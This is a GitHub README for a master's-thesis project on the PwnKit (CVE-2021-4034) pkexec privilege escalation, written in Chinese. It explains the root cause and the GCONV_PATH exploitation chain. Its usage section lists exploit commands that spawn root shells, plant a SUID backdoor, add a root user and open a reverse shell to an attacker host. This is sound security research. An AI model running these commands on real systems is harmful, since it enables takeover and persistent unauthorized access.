devianntsec/CVE-2021-4034-PwnKit-Masters-Thesis

GitHub: devianntsec/CVE-2021-4034-PwnKit-Masters-Thesis

针对 PwnKit 本地权限提升漏洞的完整研究项目,集成多种 payload 模式和详细学术文档。

Stars: 0 | Forks: 0

# CVE-2021-4034 — PwnKit 本地权限提升 · 硕士论文研究 [![平台](https://img.shields.io/badge/Platform-Linux-blue)](https://nvd.nist.gov/vuln/detail/CVE-2021-4034) [![语言](https://img.shields.io/badge/Language-Python%20%2F%20C-informational)](https://github.com/devianntsec) [![许可证: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE) [![研究](https://img.shields.io/badge/Research-Master's%20Thesis-purple)](https://github.com/devianntsec) [![CVSS](https://img.shields.io/badge/CVSS-7.8%20(High)-orange)](https://nvd.nist.gov/vuln/detail/CVE-2021-4034)

通过 CVE-2021-4034 - PwnKit 获取的交互式 root shell

## 描述 本代码库包含我关于 **CVE-2021-4034** 的**硕士论文研究**,这是 polkit 的 `pkexec` 实用程序中的一个高危(CVSS 7.8)**本地权限提升**漏洞,通常被称为 **PwnKit**。 该漏洞源于 `pkexec` 参数处理逻辑中的**越界写入**。当 `pkexec` 使用空的或精心构造的 `argv` 执行时,它会越界读写 `argv` 数组进入 `envp` 数组,从而允许非特权本地用户注入恶意环境变量,这些变量随后作为共享库加载,以 root 权限执行任意代码。 ### 我的贡献 | 方面 | 描述 | |--------|-------------| | **多 payload 利用** | Python 封装器,包含 6 种 payload 模式,包括 shell、id、后门和反向 shell | | **自动化环境设置** | 自动构建 GCONV_PATH 并配置 gconv-modules | | **后渗透模块** | SUID 后门、root 用户创建和自定义命令执行 | | **学术文档** | 根本原因分析、利用链和漏洞时间线 | ## 代码库结构 ``` CVE-2021-4034-PwnKit-Masters-Thesis/ ├── README.md # This file ├── LICENSE # MIT License │ ├── exploit/ │ └── pwnkit.py # Advanced exploit with multiple payloads │ └── docs/ ├── screenshots/ # Exploitation demonstrations │ ├── 01-pwnkit-shell.png │ ├── 02-pwnkit-id.png │ ├── 03-pwnkit-whoami.png │ ├── 04-pwnkit-backdoor.png │ ├── 05-pwnkit-add-user.png │ ├── 06-pwnkit-reverse.png │ └── 07-pwnkit-custom.png │ └── analysis/ ├── 01-root-cause.md # Vulnerability root cause analysis ├── 02-exploitation-chain.md # Exploitation chain breakdown └── 03-timeline.md # CVE timeline ``` ## 快速开始 ### 前置条件 - 具有易受攻击 polkit 的 Linux 系统(`pkexec --version` 显示 0.105 或更早版本) - GCC 编译器(`apt install gcc`) - Python 3.6+ - 标准用户账户(无需 root) - 建议在隔离的 VM 中进行测试 ### 用法 ``` # 交互式 root shell(默认) python3 exploit/pwnkit.py -p shell # 验证执行上下文 python3 exploit/pwnkit.py -p whoami # 以 root 执行自定义命令 python3 exploit/pwnkit.py -p custom -c "id" # 在 /tmp/.sh 创建 SUID 后门 python3 exploit/pwnkit.py -p backdoor_suid # 添加持久化 root 用户 python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword # Reverse shell python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444 ``` ### Payload 参考 | Payload | 描述 | 输出 | |---------|-------------|--------| | `shell` | 以 root 身份生成交互式 `/bin/sh` | 交互式 shell | | `id` | 将 `id` 和 `whoami` 输出写入 `/tmp/pwnkit_id.txt` | 文件 | | `whoami` | 将 UID/eUID 验证写入 `/tmp/pwnkit_root_test` | 文件 | | `backdoor_suid` | 在 `/tmp/.sh` 创建 SUID root bash 副本 | 持久化后门 | | `add_root_user` | 将自定义用户追加到 `/etc/passwd` | 持久化访问 | | `reverse_shell` | 通过 Python 回连到攻击者 | 远程 shell | | `custom` | 以 root 身份执行任意命令 | 标准输出 / 文件 | ## 技术概述 ### 漏洞根本原因 `pkexec` 处理自己的 `argv` 以定位正在运行的程序。当以 `argc == 0`(空参数向量)调用时,对 `argv` 的边界检查会静默失败。随后的越界读取将 `envp[0]` 视为 `argv[1]`,而越界写回 `envp` 允许攻击者用精心构造的路径替换环境变量。当 `pkexec` 稍后调用 `g_printerr()` 时,它会从现在受攻击者控制的环境中加载 `GCONV_PATH`,从而以 root 权限加载攻击者提供的共享库。 ``` argc == 0 → argv[1] reads envp[0] argv[1] = "GCONV_PATH=." (writes back into envp) pkexec loads ./pwnkit.so (attacker-controlled shared library) gconv_init() executes as root ``` ### 利用链 ``` 1. Craft argv = { NULL } → argc = 0, triggers OOB access 2. Set envp[0] = "pwnkit.so:." 3. Set envp[1] = "PATH=GCONV_PATH=." 4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1] 5. pkexec resolves GCONV_PATH=. and loads gconv-modules 6. gconv-modules maps "PWNKIT" charset to pwnkit.so 7. pwnkit.so:gconv_init() called with root privileges 8. Payload executes (shell / backdoor / reverse shell / etc.) ``` ### 关键技术细节 | 组件 | 值 | 说明 | |-----------|-------|-------| | 易受攻击的二进制文件 | `/usr/bin/pkexec` | SUID root | | 触发条件 | `argc == 0` | 空 argv | | 写入原语 | OOB 写入 `envp` | 通过 `argv[argc-1]` | | 加载机制 | `GCONV_PATH` + `gconv-modules` | 标准 glibc iconv | | 执行上下文 | 共享库中的 `gconv_init()` | 以 EUID 0 运行 | | 受影响版本 | polkit ≤ 0.105-31 | 所有主要 Linux 发行版 | ## 演示 ### 交互式 Root Shell ![交互式 Shell](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d414e6a9d6180229.png) ### ID 验证 ![ID Payload](https://raw.githubusercontent.com/devianntsec/CVE-2021-4034-PwnKit-Masters-Thesis/main/docs/screenshots/02-pwnkit-id.png) ### Whoami 验证 ![Whoami Payload](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/2d587ccf0b180310.png) ### SUID 后门 ![后门 Payload](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/af192d000e180320.png) ### 添加 Root 用户 ![添加 Root 用户](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/72cd9cb21d180332.png) ### 反向 Shell ![反向 Shell](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/de01a73b76180347.png) ### 自定义命令 ![自定义 Payload](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/24b0d90caa180359.png) ## 实证测试 所有测试均在运行 Ubuntu 20.04 LTS 且安装了 polkit 0.105-26(易受攻击)的隔离 VirtualBox VM 上进行,无网络暴露。 | Payload | 结果 | 说明 | |---------|--------|-------| | `shell` | ✅ 获取 Root shell | 即时交互式访问 | | `id` | ✅ 确认 `uid=0(root)` | 输出在 `/tmp/pwnkit_id.txt` | | `whoami` | ✅ 确认 `root` | UID/eUID = 0 | | `backdoor_suid` | ✅ `/tmp/.sh` 上设置了 SUID 位 | 利用后持久化 | | `add_root_user` | ✅ 已创建自定义用户 | 重启后仍存在 | | `reverse_shell` | ✅ 已建立连接 | Python 反向 shell 正常工作 | | `custom` | ✅ 任意命令执行 | 完整 root 上下文 | ## 技术文档 | 文档 | 描述 | |----------|-------------| | [根本原因分析](docs/analysis/01-root-cause.md) | pkexec 参数处理中的越界写入 | | [利用链](docs/analysis/02-exploitation-chain.md) | GCONV_PATH 注入的分步解析 | | [CVE 时间线](docs/analysis/03-timeline.md) | 发现、披露和补丁时间顺序 | ## 学术背景 本研究是我在 **UCAM — Campus Internacional de Ciberseguridad** 攻读**网络安全硕士学位**的**硕士论文**的一部分,旨在分析跨多种环境的 N-Day 漏洞。 此 CVE 代表了论文中的 **Linux 本地权限提升** 向量,展示了: - SUID 二进制文件中的内存安全漏洞 - 通过环境变量操纵进行的越界写入利用 - 通过 glibc 的 iconv 基础设施进行的共享库注入 - 多 payload 后渗透框架设计 **关键词:** `LPE` · `Polkit` · `pkexec` · `SUID` · `GCONV_PATH` · `CVE-2021-4034` · `PwnKit` ## 作者 **Annais Molina (devianntsec)** — 网络安全硕士研究生 [![GitHub](https://img.shields.io/badge/GitHub-@devianntsec-181717?style=flat-square&logo=github)](https://github.com/devianntsec) [![LinkedIn](https://img.shields.io/badge/LinkedIn-Annais%20Molina-0077B5?style=flat-square&logo=linkedin)](https://linkedin.com/in/annais-molina-fuentes) [![邮箱](https://img.shields.io/badge/Email-me%40deviannt.com-D14836?style=flat-square&logo=gmail)](mailto:me@deviannt.com) ## 致谢 - [**Qualys 研究团队**](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt) — 原始发现及负责任披露 - [**arthepsy**](https://github.com/arthepsy/CVE-2021-4034) — 早期概念验证参考 - [**berdav**](https://github.com/berdav/CVE-2021-4034) — 公开 PoC 参考实现 ## 许可证 MIT 许可证 — 详见 [LICENSE](LICENSE) ## 法律免责声明 本代码库**仅用于教育和安全研究目的**,属于学术硕士论文的一部分。所有测试均在无网络暴露的隔离虚拟机上进行。请仅在你拥有或已获得明确书面授权测试的系统上使用。未经授权对系统使用是非法的,并可能导致刑事起诉。
© 2026 Annais Molina · 网络安全硕士论文
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
标签:CSV导出, CVE-2021-4034, CVSS 7.8, DNS 反向解析, Exploit-Dev, GCONV_PATH, pkexec, Polkit, PwnKit, Python, Web报告查看器, 二进制分析, 云安全运维, 云资产清单, 内存破坏, 反向Shell, 后门, 嗅探欺骗, 子域名枚举, 学术研究, 数据展示, 无后门, 本地提权, 权限维持, 漏洞复现, 硕士论文, 系统安全, 红队, 网络安全, 自动化学 environment, 越界读写, 逆向工具, 逆向工程, 隐私保护